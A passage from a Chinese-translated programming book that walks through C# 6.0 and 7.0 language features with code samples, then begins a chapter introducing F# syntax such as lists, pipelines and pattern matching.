在前面的代码中,假设我们想要为不与异常本身有很大关系的异常创建一个条件测试(或者也许它确实有关系,但这里不是这种情况)。或者,我们甚至可以假设我们想要捕捉与外部状态相关的某种情况,比如系统的日期/时间等。

以下代码捕捉到一种情况,即前一个文件存在,但在周六会产生异常,以表达一些奇怪的事情。我们可以这样修改代码:

string filename = "TextFile.txt";
try
{
  Console.WriteLine($"File contents: {File.ReadAllText(filename)}");
  Console.ReadLine();
}
catch when (File.Exists(filename) && 
  DateTime.Today.DayOfWeek == DayOfWeek.Saturday)
{
  Console.WriteLine("File content unreadable on Saturdays");
}
catch (Exception ex)
{
  Console.WriteLine($"I/O Exception generated:{ex.Message}");
}

这种可能性为我们提供了捕捉与不属于(必然)异常上下文但属于任何其他情况的异常的新方法;只需考虑表达式可能比演示代码中的表达式复杂得多。

nameof 运算符

nameof 运算符是一个上下文关键字,其语法类似于 typeof,它返回任何程序元素(通常是标识符)的名称。或者,如果你愿意,它可以将上一个示例中的文件名变量转换为 filename。

这种方法提供了几个优点。首先,如果我们需要此类元素的名称,不需要反射技术。此外,编译器将保证我们传递给运算符的任何参数都是有效的元素;它还与编辑器的 Intellisense 集成,并在某些重构场景中表现更好。

它在 try-catch 结构中也很有用,例如,当指示失败的原因时指定导致异常的元素名称,甚至在属性中,正如 MSDN 的“官方”示例所建议的(参考msdn.microsoft.com/en-us/library/dn986596.aspx):

[DebuggerDisplay("={" + nameof(GetString) + "()}")]
class C
{
  string GetString() { return "Hello"; }
}

空条件运算符

此运算符是 C#中处理 null 值的功能家族的最新成员。从 1.0 版本开始,我们当然可以在条件语句中检查(value == null),以避免不希望发生的失败。

后来,出现了Nullable类型(记住,在变量声明后附加一个?符号允许它为 null,并且这些类型包括一个布尔HasValue属性来检查这种情况):

int? x = 8;
x.HasValue // == true if x != null

当需要转换时,许多基本类型的TryParse方法允许我们检查有效值(不仅仅是 null)。

随着语言的发展,处理 null 值的新方法不断涌现。在 C# 4.0 中,最有用的功能之一是空合并运算符。它的工作方式有点像?运算符:它位于两个元素之间以检查 null 性,如果左侧不是 null,则返回它;否则,返回右侧操作数。它如此简单,甚至允许你以这种方式与字符串插值混合:

string str = null;
Console.WriteLine(str ?? "Unspecified");
Console.WriteLine($"str value: { str  ?? "Unspecified"}");

我们在控制台得到了预期的结果:

空条件运算符

因此,之前的代码在控制台输出Unspecified,因为str是 null。

现在在 C# 6.0 中,我们有了另一种能力:空条件运算符,或 null 传播运算符(或者,甚至被称为Elvis运算符,因为 C#团队的一些成员这样称呼它,假设两个下点是一对眼睛,问号的上方部分是假发!),它可以在表达式中插入,如果带有运算符的装饰元素值不存在,它将停止评估表达式的右侧。让我们通过一个表达式更好地理解这一点:

如果我们想在之前的案例中打印出str字符串的长度,我们可以简单地添加另一个控制台语句,例如Console.WriteLine(str.Length.ToString());。问题是,当尝试访问strLength属性时,它将引发异常。

为了解决这个问题,我们可以非常简单地使用这个操作符:

Console.WriteLine(str?.Length.ToString());

通过包含空条件?操作符,甚至不会访问Length属性,因此不会抛出异常,我们将得到预期的输出(在这种情况下是一个空字符串)。

让我们把所有内容都放在一个代码块中,以便比较空字符串和非空字符串的不同行为:

// Case 2
string str = null;
string str2 = "string";
Console.WriteLine(str ?? "Unspecified");
Console.WriteLine(str2 ?? "Unspecified");
Console.WriteLine($"str value: { str ?? "Unspecified"}");
Console.WriteLine($"str2 value: { str2 ?? "Unspecified"}");
Console.WriteLine($"str Length: {str?.Length}");
Console.WriteLine($"str2 Length: {str2?.Length}");
Console.ReadLine();

此代码编译没有问题,并生成以下输出:

空条件操作符

观察第五项:没有显示值,因为没有对strLength进行评估。有许多情况下这正是我们需要的操作符:它可能是检查在调用之前为 null 的委托,或者是在任何常见的ToString调用之前插入它。

自动属性初始化器

自动属性初始化器是另一个改进,有助于管理不可变属性(那些一旦赋予值,在应用程序的生命周期中不会改变的属性)。

在之前的版本中,声明只读属性有点多余。你必须声明只读的备份私有字段,并负责其初始化,然后,提供该属性的显式实现(而不是使用常见的自动属性)。最后,为了访问值,包括一个属性获取成员。这是良好实践推荐你创建此类特定类型数据的方式。

这也是为什么自动属性如此方便的原因。例如,如果我们的应用程序捕获了机器上安装的当前用户名和操作系统版本,它可以通过一对只读属性来表示。以下方式足以表明这一点:

public static string User { get; } = Environment.UserName;
public static string OpSystem { get; } = Environment.OSVersion.VersionString;
static void Main()
{
  Console.WriteLine($"Current {nameof(User)}: {User}");
  Console.WriteLine($"Version of Windows: : {OpSystem}");
}

因此,我们使用更简洁的语法来表达相同的概念,并得到与经典方法相同的结果:

自动属性初始化器

静态 using 声明

另一种简化语法的方法是基于在代码中扩展指令的想法,使它们能够引用.NET Framework 的静态成员,并以与我们使用using指令中提到的其他声明相同的方式使用它们。

也就是说,我们可以包含如下声明:

using static System.Math;

从这一点开始,对Math类成员的任何引用都可以直接进行,无需指明它所属的命名空间(以及静态类):

// Static reference of types
Console.WriteLine($"The square root of 9 is {Sqrt(9)}");

注意,我们在整个演示中使用了字符串插值,因为它允许的简化非常实用,特别是对于这些控制台类型的片段(在这种情况下,我省略了输出,你可以自己想出来...)。

此外,还有一个典型的场景,其中这种功能很重要:当我们使用Enum成员时。大多数时候,我们已经知道可能的值,所以如果我们指示一个典型的Enum,比如一周中的某一天,我们可以将相应的Enum类型作为静态的:

using static System.DayOfWeek;

然后,就像之前一样使用它(记住,.NET 中Enum类型数量相当庞大):

Console.WriteLine($"Today is {Friday}");

我们甚至使事物更加通用,使用了之前看到的nameof运算符:

DayOfWeek today = DateTime.Today.DayOfWeek;
Console.WriteLine($"{nameof(today)} is {today}");

因此,我们仍然会得到预期的输出,尽管以更通用的方式表达:

静态使用声明

由于演示是一个控制台应用程序,甚至控制台也可以以这种方式引用;所以,假设我们想要改变控制台输出的颜色,而不是编写如下内容:

ConsoleColor backcolor = ConsoleColor.Blue;
ConsoleColor forecolor = ConsoleColor.White;
Console.BackgroundColor = backcolor;
Console.ForegroundColor = forecolor;

我们可以用一种更简单的方式将这些内容整合在一起(当然,一些开发者可能会争论说这是一个语法品味的问题)。在代码的顶部,我们声明以下内容:

using static System.Console;
using static System.ConsoleColor;

然后,其余部分都简化了:

BackgroundColor = DarkBlue;
ForegroundColor = White;
WriteLine($"{nameof(today)} is {today}");
WriteLine($"Using {nameof(BackgroundColor)} : {BackgroundColor}");
WriteLine($"Using {nameof(ForegroundColor)} : {ForegroundColor}");
Read();

这次预期的输出以调整过的控制台形式呈现:

静态使用声明

表达式主体方法

当编写 lambda 表达式时,我们已经看到我们可以省略表示方法体的花括号,以简化代码。现在,我们可以在方法中做类似的事情,允许我们以更简单的方式表达重写。考虑以下示例代码:

using static System.Console;
namespace Chapter03_03
{
  public class ExpressionBodied
  {
    public static void Main()
    {
      ExpressionBodied eb = new ExpressionBodied();
      WriteLine(eb.ToString());
    }
    public string Name { get; } = "Chris";
    public string LastName { get; } = "Talline";
    public override string ToString() => $"FullName: {LastName}, {Name}";
  }
}

使用字符串插值表达的重写ToString()方法更加简单易读,并且与之前的版本工作方式相同。(我也省略了输出,但您可以轻松推断出来)。

同样的想法也适用于在类中声明计算属性,例如。如果我们需要在之前的类中添加一个计算属性,该属性返回一个布尔值,指示FullName成员是否超过 12 个字符(我们称之为FullNameFits),我们可以这样写:

public bool FullNameFits => ((Name.Length + LastName.Length) > 12) ? false : true;

如您所见,这比之前的版本更加简洁和表达性强。

索引初始化器

最后,让我们提一下与初始化器相关的一个新特性。到目前为止,当我们初始化索引设置器时,我们必须在单独的语句中完成。为了更好地理解这一点,现在如果我们需要初始化一个与某些已知数字相对应的值数组,例如 Web 错误字典(即 404-未找到等),我们可以这样定义(全部在一个句子中):

Dictionary<int, string> HttpWebErrors = new Dictionary<int, string>
{
  [301] = "The page requested has been permanently moved",
  [307] = "The requested resource is available only through a proxy",
  [403] = "Access forbidden by the server",
  [404] = "Page not found. Try to change the URL",
  [408] = "Request timeout. Try again."
};

因此,在初始化过程中,我们定义了所需的键(或者至少最初所需的键),无论它们是否需要在以后进行更改。

总的来说,我们可以说 C# 6.0 版本的新特性并不非常深入和显著,尤其是与 4.0 版本相比,仅举一例。然而,它们非常有用,并且在许多情况下可以减少程序员需要编写的代码量,前提是程序员已经足够了解结构,可以很好地编写代码,从而消除一些与某些编程结构相关的冗余。

C# 7.0 的新特性是什么

首先,你必须记住,为了使用语言 7.0 版本提出的新特性,你需要拥有 Visual Studio 2017(任何版本,包括社区版)或带有 OmniSharp 扩展(C#插件)的 Visual Studio Code,这也允许你在其他流行的编辑器中使用语言,如 Vim、Emacs、Sublime、Atom、Brackets 等。

一旦你准备好了,C# 7 的特性将在 IDE 中可用,我们可以开始尝试这些新增功能。此外,值得注意的是,微软正在鼓励语言未来版本的贡献者以更快的路径部署新特性,尽管包括的新特性集合较小。

实际上,这个版本并没有包括像 LINQ 或 async/await 这样对语言基础至关重要的特性。C# 7 在某些情况下添加了额外的语法糖,除了其最强大的特性:对元组和解构的新支持。

让我们从“语法糖”开始。

二进制字面量和数字分隔符

你可以直接在持有它们的类型的定义中表达二进制数,例如:

int[] binNumbers = { 0b1, 0b10, 0b100, 0b1000, 0b100000 };

但当以这种形式声明时,你可能会得到难以评估和评估的长表达式。这就是为什么我们现在有一个名为数字分隔符的新语言特性。

这意味着你可以在数字字面量中的任何位置包含任意数量的下划线符号,编译器会正确地解释它们。以这种方式,它使得读取值变得更加容易。

这适用于任何类型的数字字面量,就像在下一代码的第六项中发生的那样:

int[] binNumbers = { 0b1, 0b10, 0b100, 0b1_000, 0b100_000, 123_456_ };

如果我们想要检查自动转换为整数的操作,我们可以很容易地测试结果,添加几行代码:

binNumbers.ToList().ForEach((n) => Console.WriteLine($"Item: {n}"));
Console.Read(); 

这将在控制台产生以下输出:

二进制字面量和数字分隔符

模式匹配和 switch 语句

在许多情况下,我们需要检查标记为out的变量的值。记住,为了使用out,变量必须首先初始化。为了说明这种情况,考虑以下代码,其中函数必须评估传递给它的字符串参数是否可以解释为整数:

var theValue = "123";
var result = CheckNumber(theValue);
Console.WriteLine($"Result: {result}");
Console.Read();
//…
static object CheckNumber(string s)
{
  // If the string can be converted to int, we double
  // the value. Otherwise, return it with a prefix
  int i = default(int);  // i must be initialized
  if (int.TryParse(s, out i)) {
    return (i * 2);
  }
  else
  {
    return "NotInt_" + s;
  }
}

如您所见,我们必须在从转换中检索结果并将其加倍(如果它是int类型)之前声明和初始化i变量。

那么避免之前的声明,并在if语句中声明和初始化i怎么样?我们现在可以用内联声明来做这件事:

static object CheckNumberC7(string s)
{
  // Now i is declared inside the If
  if (int.TryParse(s, out int i))
    return (i * 2);
  else return "NotInt_" + s;
}

我们有更简洁、优雅的方式来表达相同的思想。我们正在检查s是否匹配int模式,如果是,则在单个表达式中声明和分配结果值。

使用模式匹配的另一种方式是在switch语句中,这些语句也通过更多的模式来扩展以评估传递给它的值。实际上,你现在可以切换任何东西,而不仅仅是intstring这样的原始类型。

让我们在一些代码中看看:

static object CheckObjectSwitch(object o)
{
  var result = default(object);
  switch (o)
  {
    case null:
      result = "null";
      break;
    case int i:
    case string s when int.TryParse(s, out i):
      result = i * 2;
      break;
    case string v:
      result = "NotInt_" + v;
      break;
    default:
      result = "Unknown value";
      break;
  }
  return result;
}

前面的函数假设它将接收一个对象,并必须执行以下操作:

  • 如果对象为 null 或与int或字符串不同,则返回一个表示此情况的字符串值

  • 如果对象是int或是一个可以转换为int的字符串,则复制其值并返回它

  • 如果它是一个无法转换为int的字符串,则添加前缀并返回它

根据前面的代码,现在你可以指示模式匹配来检查任何值,我们甚至可以在连续的case语句中组合类似的情况,例如检查int或包含int的字符串。

观察字符串模式匹配中使用when的情况,它实际上扮演了if的角色。

最后,如果它是一个字符串但无法转换,我们使用前缀过程。这两个特性是语法糖(正如他们所说的),但它们相当具有表现力,有助于简化类型检查和复杂的检查情况,如这里编写的代码。

元组

在名为元组:C#中的实现的部分,我们看到了如何使用Tuple类声明和使用元组,以及与早期版本或这些对象相关的一些缺点。

现在,在 C# 7 中,元组达到了一个新的维度。你不再需要使用Tuple类来声明元组,多亏了模式匹配,编译器对包含元组语法和var定义的声明或使用元组作为方法返回类型的声明感到非常舒适(允许我们返回多个值,而无需使用输出参数):

(int n, string s) = ( 4, "data" );

前面的声明现在被编译器理解,如下一个捕获所示:

元组

这使得使用Tuple类变得不必要,并且使得与这些类型一起工作更加自然。此外,我们不得不使用Item1Item2等成员来访问元组的值。现在我们可以给元组的每个成员赋予描述性的名称,以阐明其目的(如本示例中的ns)。

另一个优点是可以在函数中返回一个元组。让我们跟随 PM Mads Torgersen 通常用来解释这个特性的官方演示的改编版本。

想象一下,我们想要知道binNumbers的初始声明中有多少项,并且在同一函数中对其所有成员进行求和。我们可以编写一个类似这样的方法:

static (int sum, int count) ProcessArray(List<int> numbers)
{
  var result = (sum:0 , count:0);
  numbers.ForEach(n =>
  {
    result.count++;
    result.sum += n;
  });
  return result;
}

现在,调用该方法并以这种方式展示结果:

var res = ProcessArray(binNumbers.ToList());
Console.WriteLine($"Count: {res.count}");
Console.WriteLine($"Sum: {res.sum}");
Console.Read();

我们得到了预期的结果。但让我们查看代码以查看实现的细节。

首先,函数的返回值是一个元组,其成员按相应命名,这使得调用代码更易读。此外,内部result变量被定义并使用元组语法初始化:一系列以逗号分隔的值,可选地以名称作为前缀以提高清晰度。

然后将返回值分配给res变量,它可以使用命名参数在控制台使用字符串插值输出它们。

分解

分解是一种特性,允许我们将对象分解为其部分,或其部分。

例如,在res变量的声明中,我们甚至可以通过声明元组的命名成员来避免使用res,以获得完全相同的结果:

var (count, sum) = ProcessArray(binNumbers.ToList());

正如你所见,我们可以访问所需的返回值,但不需要将它们保存在命名变量中;因此,我们说结果值已经被“分解”为其构成部分。

当然,在这种情况下,我们利用的是要解构的类型已经是一个元组。那么其他对象呢?只要对象定义了Deconstruct方法,或者你创建了一个同名扩展方法,你就可以解构任何对象。

假设我们想要能够分解一个DateTime值。当然,DateTime对象内部没有定义Deconstruct方法,但我们可以非常容易地创建一个:

static void Deconstruct(this DateTime dt, out int hour,
  out int minute, out int second)
{
  hour = dt.Hour;
  minute = dt.Minute;
  second = dt.Second;
}

一旦我们有了可访问的定义,我们就可以用这样的句子“提取”当前时间的值:

var (hour, minute, second) = DateTime.Now;
Console.WriteLine($"Hour: {hour} - Minute: {minute} - Second: {second}");

我们会得到以下捕获中显示的输出,它还显示了数组中元素的数量及其总和的计算:

分解

局部函数

JavaScript 程序员习惯于将函数作为参数传递,并将函数作为返回值。在 C#中,这不可用,除非是通过我们在上一章中看到的 lambda 表达式提供的功能。

局部函数并不是这样,但它们允许我们声明一个局部于另一个封闭函数的函数,并且能够访问上层函数中定义的变量。因此,它们是在它们声明的函数中局部化的。

回到我们的ProcessArray演示,假设你想要将ForEach循环内部的代码分离到另一个函数中,但你想直接修改这些值(而不是使用out引用)。

你可以用以下语法重写这种类型的内部函数的过程:

static (int sum, int count) ProcessArrayWithLocal(List<int> numbers)
{
  var result = (s: 0, c: 0);
  foreach (var item in numbers)
  {
    ProcessItem(item, 1);
  }
  return result;
  void ProcessItem(int s, int c) { result.s+= s; result.c += c; };
}

这次,我们使用ForEach循环遍历集合,并在循环内部调用局部函数ProcessItem,该函数可以访问结果成员。

在哪些情况下这些内部函数才有意义?一个情况是当一个辅助方法只会在单个函数内部使用,就像在这个例子中一样。

返回值引用

最后,让我们了解一下这些特性,它们目前只部分可用,因为它们计划在 Connect(); 2016 活动宣布的语言快速路径发布周期中扩展它。

理念是,与你可以通过引用传递值一样,现在你可以返回引用值,甚至可以将值存储在引用变量中。

之前提到的 Mads Torgersen 代码包括以下(自解释)代码,以了解我们如何声明这样的函数以及我们如何使用它:

public ref int Find(int number, int[] numbers)
{
  for (int i = 0; i < numbers.Length; i++)
  {
    if (numbers[i] == number) 
    {
      return ref numbers[i]; // return the storage location, not the value
    }
  }
  throw new IndexOutOfRangeException($"{nameof(number)} not found");
}

int[] array = { 1, 15, -39, 0, 7, 14, -12 };
ref int place = ref Find(7, array); // aliases 7's place in the array
place = 9; // replaces 7 with 9 in the array
WriteLine(array[4]); // prints 9

在代码中,函数在声明返回类型(int)之前用ref标记。后来,在声明一个数字数组之后,函数以 7 作为第一个参数被调用。

值 7 占据了数组的第五个位置,因此它的顺序号是 4。但由于返回值被存储为ref,随后的赋值 9 将数组中的该值更改为 9。这就是为什么最终语句打印出 9 的原因。

总的来说,也许这个语言最新版本中包含的变化并不像语言 2、3 或 4 版本中的变化那样有意义,但即便如此,它们在某些情况下也简化了程序员的任务。

摘要

我们看到了 C#语言和.NET Framework 最近版本中包含的最著名特性。

我们回顾了 C# 4.0 版本,包括对委托和接口泛型方差(协变和逆协变)、动态声明、参数改进、元组和对象的延迟实例化进行了回顾,这些意味着 C#语言的表述能力和功能发生了重要变化。

然后,我们简要介绍了async/await结构,作为一种通过将通常需要的两部分代码合并到单一方法中来简化异步调用的手段。

接下来,我们对包含在 C# 6.0 版本中的最重要的功能进行了回顾,该版本主要基于在语言中减少冗余的新方法。

最后,我们看到了最近发布的 7.0 版本中添加的最重要特性,这些特性主要基于语法糖来使表达式更有意义,以及新的模式匹配特性,这使得在许多常见情况下使用元组变得非常可行。

在下一章中,我们将比较不同的语言,包括 Visual Studio 中的 F#和 TypeScript 支持,并提供一些关于它们未来使用的展望。

第四章:比较编程方法

到目前为止,我们一直关注 C# 语言及其演变。然而,就语言而言,.NET 框架中的这种演变并非唯一。其他语言也在不断进化(而且这与现在有更多编译器增加了支持 .NET 版本的编程语言列表这一事实无关)。特别是,.NET 语言生态系统中有两个成员,F# 和 TypeScript,它们在程序员社区中越来越受欢迎,我们将在本章中简要介绍它们。

因此,我们将回顾两种语言中最相关的方面,在两种情况下都以 C# 作为参考。

以此为目标,我们的目的是大致概述最关键的编程结构,以便您可以比较使用不同语言编码日常编程任务的方式。

我想关于 VB.NET 和为什么我不包括它在这里添加一个说明。即使考虑到 VB.NET 与 .NET 生态系统中的其他语言并行发展,(VB.NET 追随者,请原谅我,但这是你们大多数人肯定已经注意到的趋势),但事实是,围绕 F# 和 JavaScript 语言(以及 TypeScript)的炒作更多(就 TypeScript 而言)。

当我们谈论未来期望时,这种趋势尤为明显。VB.NET 用户可以确信,尽管微软没有说相反的话,VB.NET 将继续按预期运行,并且将成为之前提到的语言生态系统中的一种语言,拥有开发者习惯在 Visual Studio 中找到的所有优点和优势。

回到 F# 和 TypeScript,两者有一个共同点:它们属于函数式语言的类别(尽管 TypeScript 使用类,这些类最终“编译”成函数)。第一个将作为与 C# 的比较,因为它是编译型语言,而 TypeScript 是解释型语言。

备注

所有类型的函数式语言列表不断增长。维基百科维护了一个相当全面的列表,列出了其中大部分语言,可以在 en.wikipedia.org/wiki/Category:Functional_languages 找到。

因此,我们将回顾两种编程方法之间的差异,并确定旨在获得相同结果(每个都以其自己的风格表达)的编程结构。此外,请注意,有大量应用程序可以解决(尤其是数学和工程问题),这些应用程序使用 F# DLL 的实现,随着语言版本的不断增长,可能性也在增加。

另一方面,TypeScript 的持续增长通过 Google 的宣布得到了明确,即 TypeScript 已成为他们新版本 Angular 框架(Angular 2.0)的构建语言,自 2016 年 9 月以来可用。这是一个相当意外的合作!

在本章中,我们将涵盖以下主题:

  • 功能型语言的基础

  • F# 作为一种完全功能型语言

  • 典型编程结构的等价性

  • Visual Studio 中的支持

  • TypeScript 的起源和主要目的

  • 基本结构和编程特性

  • Visual Studio 中的 TypeScript 支持

功能型语言

功能型语言是一种避免改变状态和可变数据,主要关注代码作为数学函数评估的语言。因此,整个编程体验都是基于函数(或过程)来构建程序流程的。

注意这种方法与面向对象语言的不同,面向对象语言中一切都是对象(一些面向对象语言有原始类型,如 Java,但通常,类型总可以被视为对象)。

下一个图表显示了某些流行的命令式语言与纯功能型语言的对比,以及 F#(和 Scala)在这两种模型之间的位置。

考虑到这一点,程序目标的流程持续声明与其它函数相关或基于其它函数的函数,直到目标达成:

功能型语言

功能型语言没有其他命令式编程语言的副作用,因为状态不会改变,只要函数调用使用相同的参数,相同的调用将返回相同的结果。消除这些类型的副作用可以使行为更加可预测,这正是它们使用的重要动机之一。

然而,这种优势也意味着需要考虑:并非所有程序都可以在没有这些效果的情况下开发,尤其是那些需要改变状态和创建 I/O 过程的程序。

作为一门学科,函数式编程的根源在于 Lambda 演算,最初作为一种形式系统,用于以函数抽象的形式表达计算,它最初由 Alonzo Church 在二十年代后期在研究数学基础的过程中开发。

这里应该注意两点:

  1. Lambda 演算是一个通用的计算模型,与 图灵机 等价,正如维基百科所述。此外,图灵本人也在他的关于状态机的开创性论文中提到了这项工作。有一些有趣的工作与这两者相关,并解释了它们之间的差异,尽管这不是本章的目标。

  2. 即使考虑到它们与我们在 C#语言中看到的 lambda 表达式不完全相同,由于 Lambda Calculus 中使用的 Lambda 项或 Lambda 表达式基本上以我们在前面的例子中看到的方式绑定变量,因此存在直接的联系。有关 Lambda Calculus 的更多信息,请参阅en.wikipedia.org/wiki/Lambda_calculus

F# 4 和.NET Framework

F#语言的第一个版本出现在 2005 年,尽管当时你需要单独下载和安装。语言的发展过程最初由微软研究院的 Don Syme 管理,尽管现在它使用的是开放的开发和工程流程,基本上由成立于 2013 年的 F#软件基金会监督,该基金会于 2014 年成为了一个 501C3 的非营利组织。

实际上,当前版本是 4.0,它于 2016 年 1 月发布,并伴随着与 Visual Studio 相关的工具的几项改进。然而,F#编程语言的支持也可以在Xamarin StudioMonoMonoDevelopSharpDevelopMBraceWebSharper中找到。

根据Syme的说法,F#起源于 ML,并受到了其他函数式语言的影响,主要是从OCamlC#PythonHaskellScalaErlang。更准确地说,Syme 解释说,从语法角度来看,主要影响来自 OCaml,而对象模型方面则受到了 C#和.NET 的启发。

F#被定义为一种强类型、多范式和以函数式为主的编程语言,它包含了函数式、命令式和面向对象编程技术。

它从一开始就使用类型推断,这与我们在 C# 3.0 版本中看到的使用var关键字的方式相同。然而,F#允许显式类型注解,并在某些情况下要求这样做。但是,除了一些例外,F#中的每个表达式都与一个静态类型相关联。如果函数或表达式不返回任何值,则返回类型命名为unit

不可避免的 Hello World 演示

因此,让我们从必做的 Hello World 程序开始,但首先,请记住,如果你在安装时没有这样做,你将需要在 Visual Studio 中激活 F#工具。(如果没有,当访问 F#语言部分时,你会被提供这种激活。)一旦激活就绪,你将看到一个与该语言相关联的新类型项目,就像以下截图所示:

不可避免的 Hello World 演示

首先,你可以选择教程,这是一系列关于语言不同方面的综合集合——它结构相当合理——或者简单地使用控制台应用程序。

如果你选择教程,你可以标记你想要测试的代码部分,如果你在该区域右键点击,你会看到两个执行选项:在交互式执行在交互式调试

不可避免的 Hello World 演示

为了可视化结果,我们当然可以创建一个可执行文件并在控制窗口中启动它,但在这个场景中,F#交互式窗口更合适。为了完整性,请记住,你可以使用 Visual Studio 中的构建选项调用编译器(命名为fsc.exe),就像调用任何其他项目一样。

因此,我们将从编写非常简单的代码开始:

let a = 1 + 2
let b = a * 3
printfn "Expression a equals to %i" a
printfn "Expression b equals to %i" b
printfn "So, expression b (%i) depends on a (%i)" b a

这将在F#交互式窗口生成以下输出:

不可避免的 Hello World 演示

这里,我们做了以下操作:

  1. 首先,我们使用let关键字将算术表达式赋值给变量a

  2. 然后,我们使用相同的关键字为另一个变量,变量b,使用之前的定义。

  3. 最后,F#库中的printfn函数向标准 I/O 输出,格式化结果的方式类似于我们在 C#中做的那样,只是将{0}..{1}等表达式改为%i或打印要打印的值的类型的字母(例如,f用于浮点数,s用于字符串,d用于双精度,A用于包括数组和元组的通用打印,等等)。

注意交互式窗口如何呈现过程中隐含的成员的回声,同时显示其类型。

请记住,由于 F#被认为是 Visual Studio 家族的另一个成员,它在工具/属性对话框中有一个自己的配置区域,如下一张截图所示。此外,该对话框中的另一个条目允许你配置F#交互式窗口的行为:

不可避免的 Hello World 演示

标识符和作用域

标识符的作用域表示该标识符可用的代码区域。所有标识符,无论是函数还是值,都是从它们的定义结束开始,直到它们作用的部分结束的作用域(有效)。此外,在 F#中,你不需要显式返回任何值,因为计算的结果会自动分配给相应的标识符。

因此,为了创建计算的中继值,你通过缩进来表示它(按照惯例,缩进的大小是 4,但用户可以选择任何其他值)。每个缩进定义一个新的作用域,每个作用域的结束由缩进的结束标记。例如,让我们考虑一个计算直角三角形斜边的函数:

let hypo (x:float) (y:float) =
  let legsSquare = x*x + y*y
// System.Math.Sqrt(legsSquare)
sqrt(legsSquare) // an alias of the former
printfn "The hypotenuse for legs 3 and 4 is: %f" (hypo 3.0 4.0)

首先,我们定义了 hypo 函数,它接收两个类型为 float 的参数(注意我们可以使用语法 arg:type 明确地指示类型)。然后,我们声明 legsSquare 为两个三角形边的平方和,这是通过一个新的缩进级别来完成的。最后,我们只计算这个中间变量的平方根,没有任何其他指示,这意味着 System.Math.Sqrt(legsSquare) 是返回值。

此外,注意我们如何直接引用 System.Math,因为它包含在项目的引用中。或者,你可以使用 open 关键字来指示对 System 的引用(例如 open System),然后,你可以无限制地使用 Math 静态类。

最后,我们调用 printfn 来格式化输出,并确保格式化输出字符串中只包含一个值,通过将 hypo 的调用放在括号中来做到这一点。

当然,F# Interactive 窗口将显示格式化后的结果,正如预期的那样:

标识符和作用域

列表

在 F# 中,列表是有序的不可变元素的集合,元素类型相同。它的生成允许许多与语言兼容的选项,但初始风格非常简单。如果你稍微浏览一下教程,你会发现以下声明:

/// A list of the numbers from 0 to 99
let sampleNumbers = [ 0 .. 99 ]

这里,你被介绍到了范围运算符:(..),它表示一个对编译器可导出的元素序列。由于 Interactive 窗口的回声功能,我们只需标记那一行并选择 Interactive Window 来查看结果:

列表

范围运算符也接受增量描述符(..),允许你定义一个不同的、集体的类型,称为序列(seq),它支持与列表相同的许多函数:

seq {5..3..15}

这里,我们定义了一个以 5 开始,经过 15,以三的步长递增的元素序列(输出如下):

val it : seq<int> = seq [5; 8; 11; 14]

与之前一样,让我们标记以下句子并继续:

let sampleTableOfSquares = [ for i in 0 .. 99 -> (i, i*i) ]

创建了一个元组数组,每个元组包含从 099 的一个数字及其对应的平方。在这个句子中有几点需要注意。

在方括号中赋值意味着其中的表达式应该被评估为一个数组(类似于 JavaScript)。我们也在上一句中看到了这一点,但这次,在括号内,我们看到一个 for..in 循环和一个 -> 符号,这表明循环每一步生成的值。

这个生成的值实际上是一个元组,因为它被括号包围——这是一个非常强大且富有表现力的语法。

列表对象包含几个有用的方法来操作它们的内部集合。其中之一是 List.map,它允许你将一个函数应用于列表中的每个元素,并返回一个包含计算结果的新列表。

重要的是要注意,这种方法的理念与我们在 C#中使用泛型集合和传递 lambda 表达式给它们的方法时看到的非常相似。

例如,我们可以编写以下代码:

let initialList = [9.0; 4.0; 1.0]
let sqrootList = List.map (fun x -> sqrt(x)) initialList

printfn "Square root list: %A" sqrootList

这里,initialList包含三个浮点数,我们想要计算它们的平方根。因此,我们通过调用List.map并传递一个匿名函数来生成另一个列表(sqrootList),该函数接收一个值并返回其平方根。最后一个参数是initialList。请注意,map的参数就像一个 lambda 表达式。

再次强调,F#交互式窗口中的输出正如预期的那样:

列表

函数声明

我们已经看到了如何使用匿名函数以及它们如何作为参数传递给某些方法。要声明一个命名函数,你可以使用与变量类似的语法,但需要指定它可以接收的参数,并跟随函数的名称:

let func1 x = x*x + 3

这次,func1是函数的名称,x是要传递的参数,它可以选择性地用括号括起来。稍后,我们可以将之前的声明与赋值给变量的操作结合起来,这可以在继续分析此代码时看到:

let result1 = func1 4573
printfn "The result of squaring the integer 4573 and adding 3 is %d" result1

还要记住,参数可以被注释(明确表示其类型):

let func2 (x:int) = 2*x*x - x/5 + 3

当我们需要在函数内部指示代码结构时,我们将使用与之前示例中相同的方式缩进,以及需要评估的表达式(这正是func3在这里所做的):

let func3 x =
  if x < 100.0 then
    2.0*x*x - x/5.0 + 3.0
  else
    2.0*x*x + x/5.0 - 37.0

注意列表与元组之间的区别,元组是通过括号定义的。此外,可以使用包含循环的表达式生成列表,如下面的代码所示,它使用了这种结构:

let daysList =
  [ for month in 1 .. 12 do
  for day in 1 .. System.DateTime.DaysInMonth(2012, month) do
    yield System.DateTime(2012, month, day) ]

在这里,我们使用了嵌套的for循环,通过for..in..do语法实现。同时,请注意yield关键字的存在,这与 C#中的用法类似。之前的代码生成了以下输出:

函数声明

以此类推……

管道操作符

F#的另一个重要特性是管道操作符(|>)。它用于将值传递给一个函数,但通过管道结果。定义很简单:

let (|>) x f = f x

这意味着:取参数x并应用于函数f。这样,参数在函数之前传递,我们可以非常合适地表达一系列计算。例如,我们可以定义一个求和函数并这样使用它:

let sum a b = a + b
let chainOfSums = sum 1 2 |> sum 3 |> sum 4

执行后,我们将获得chainOfSums的值为 10。例如,考虑以下代码:

let numberList = [ 1 .. 1000 ]  /// list of integers from 1 to 1000
let squares = numberList
  |> List.map (fun x -> x*x)

这意味着,取numberList,将其应用于括号内的List.map函数(该函数计算列表中每个数的平方),并将结果赋值给squares标识符。

如果我们需要在同一个集合上按顺序链接多个操作,我们可以连接操作符,正如教程中的下一个示例所示:

/// Computes the sum of the squares of the numbers divisible by 3.
let sumOfSquares = numberList
|> List.filter (fun x -> x % 3 = 0)
|> List.sumBy (fun x -> x * x)

模式匹配

在管理集合时,另一个有用的结构是 match..with 构造。它与 | 操作符一起使用,以表示不同的选项,这与我们在 C# 中的 switchcase 语句所做的一样。

为了以简单的方式测试这一点,让我们尝试典型的递归函数来计算一个数字的阶乘:

let rec factorial n = match n with
  | 0 -> 1
  | _ -> n * factorial (n - 1)
let factorial5 = factorial 5

注意 rec 关键字作为函数声明的修饰符的存在,以指示该函数是递归的。要测试的变量(n)位于 match..with 结构和 | 操作符之间,而下划线操作符(_)用于表示对任何其他值要做什么。

F# Interactive 窗口再次显示了正确的结果:

模式匹配

类和类型

